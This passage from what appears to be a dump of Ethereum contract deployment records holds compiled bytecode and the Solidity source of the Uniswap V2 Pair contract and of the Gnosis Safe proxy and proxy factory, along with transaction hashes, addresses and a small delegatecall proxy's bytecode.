b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032
// File: contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts/interfaces/IUniswapV2ERC20.sol pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // File: contracts/libraries/SafeMath.sol pragma solidity =0.5.16; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File: contracts/UniswapV2ERC20.sol pragma solidity =0.5.16; contract UniswapV2ERC20 is IUniswapV2ERC20 { using SafeMath for uint; string public constant name = 'Uniswap V2'; string public constant symbol = 'UNI-V2'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } // File: contracts/libraries/Math.sol pragma solidity =0.5.16; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File: contracts/libraries/UQ112x112.sol pragma solidity =0.5.16; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // File: contracts/interfaces/IERC20.sol pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // File: contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/interfaces/IUniswapV2Callee.sol pragma solidity >=0.5.0; interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } // File: contracts/UniswapV2Pair.sol pragma solidity =0.5.16; contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 { using SafeMath for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); } }
1
19,501,502
20c1857cd7929d2b0805f57eea9684169f58e8c9549c56de20a01cb3d0d23326
33cad89f5e42debb5fd8b645386c5f1524d6d7c5f1b6028170251c36d912d8d9
d8b0b512769cfbff002cc4a82c314e6287807020
a6b71e26c5e0845f74c812102ca7114b6a896ab2
4d40f093dbc6763d017569165614998d9157e01b
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <richard@gnosis.io> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <stefan@gnosis.io> /// @author Richard Meissner - <richard@gnosis.io> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <stefan@gnosis.pm> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line no-inline-assembly assembly { proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt) } require(address(proxy) != address(0), "Create2 call failed"); } /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function createProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) public returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); if (initializer.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, _singleton); } /// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. /// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized. function createProxyWithCallback( address _singleton, bytes memory initializer, uint256 saltNonce, IProxyCreationCallback callback ) public returns (GnosisSafeProxy proxy) { uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback))); proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback); if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce); } /// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce` /// This method is only meant for address calculation purpose when you use an initializer that would revert, /// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory. /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function calculateCreateProxyWithNonceAddress( address _singleton, bytes calldata initializer, uint256 saltNonce ) external returns (GnosisSafeProxy proxy) { proxy = deployProxyWithNonce(_singleton, initializer, saltNonce); revert(string(abi.encodePacked(proxy))); } } interface IProxyCreationCallback { function proxyCreated( GnosisSafeProxy proxy, address _singleton, bytes calldata initializer, uint256 saltNonce ) external; }
1
19,501,504
36fa086f771064cec6d57f624cc3deeb9ada7ac9871d75fb51f1eab34653fcd7
a33b5bcbf350e11fa45a4e98abaae0e7f0e25a27c238a1d150c117a69786b746
c24da1a40f83043dba01dc746d0138688e83d12a
c24da1a40f83043dba01dc746d0138688e83d12a
10ba0a1026f9f635df2e9ed1b712e64a8c84a0e3
608060405234801561000f575f80fd5b5061010b8061001d5f395ff3fe608060405236600a57005b5f3660605f80737e3693d774cd3ec379f215397e73b5e79bf62eb46001600160a01b03168585604051603c92919060c6565b5f60405180830381855af49150503d805f81146072576040519150601f19603f3d011682016040523d82523d5f602084013e6077565b606091505b50915091508160b95760405162461bcd60e51b815260040160b0906020808252600490820152636f686d7360e01b604082015260600190565b60405180910390fd5b8051945060200192505050f35b818382375f910190815291905056fea26469706673582212204a993c82e407fc3307a5483d951677294761381b3eeefbd4366ac39a41396daa64736f6c63430008180033
608060405236600a57005b5f3660605f80737e3693d774cd3ec379f215397e73b5e79bf62eb46001600160a01b03168585604051603c92919060c6565b5f60405180830381855af49150503d805f81146072576040519150601f19603f3d011682016040523d82523d5f602084013e6077565b606091505b50915091508160b95760405162461bcd60e51b815260040160b0906020808252600490820152636f686d7360e01b604082015260600190565b60405180910390fd5b8051945060200192505050f35b818382375f910190815291905056fea26469706673582212204a993c82e407fc3307a5483d951677294761381b3eeefbd4366ac39a41396daa64736f6c63430008180033